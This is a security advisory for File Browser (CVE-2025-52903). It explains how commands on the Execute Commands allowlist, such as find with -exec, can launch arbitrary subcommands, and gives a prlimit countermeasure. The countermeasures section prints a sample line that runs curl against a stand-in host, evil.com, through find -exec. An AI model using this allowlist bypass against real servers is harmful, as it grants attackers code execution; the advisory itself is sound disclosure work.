GHSA-3q2w-42mv-cph4

Source

https://github.com/advisories/GHSA-3q2w-42mv-cph4

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-3q2w-42mv-cph4/GHSA-3q2w-42mv-cph4.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-3q2w-42mv-cph4

Aliases

CVE-2025-52903

Published

2025-06-27T15:19:16Z

Modified

2025-06-30T12:54:19Z

Severity

8.0 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H CVSS Calculator

Summary

filebrowser Allows Shell Commands to Spawn Other Commands

Details

Summary

The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.

Vulnerability Description

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

Recommended Countermeasures

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.

Timeline

2025-03-26 Identified the vulnerability in version 2.32.0
2025-06-25 Uploaded advisories to the project's GitHub repository
2025-06-25 CVE ID assigned by GitHub
2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References

Credits

Mathias Tausig (SBA Research)

Database specific

{
    "github_reviewed": true,
    "nvd_published_at": "2025-06-26T19:15:21Z",
    "severity": "HIGH",
    "cwe_ids": [
        "CWE-183",
        "CWE-749",
        "CWE-77",
        "CWE-88"
    ],
    "github_reviewed_at": "2025-06-27T15:19:16Z"
}

References

Affected packages

Go / github.com/filebrowser/filebrowser/v2

Package

Name: github.com/filebrowser/filebrowser/v2; View open source insights on deps.dev
Purl: pkg:golang/github.com/filebrowser/filebrowser/v2

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.33.10

Go / github.com/filebrowser/filebrowser

Package

Name: github.com/filebrowser/filebrowser; View open source insights on deps.dev
Purl: pkg:golang/github.com/filebrowser/filebrowser

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

1.11.0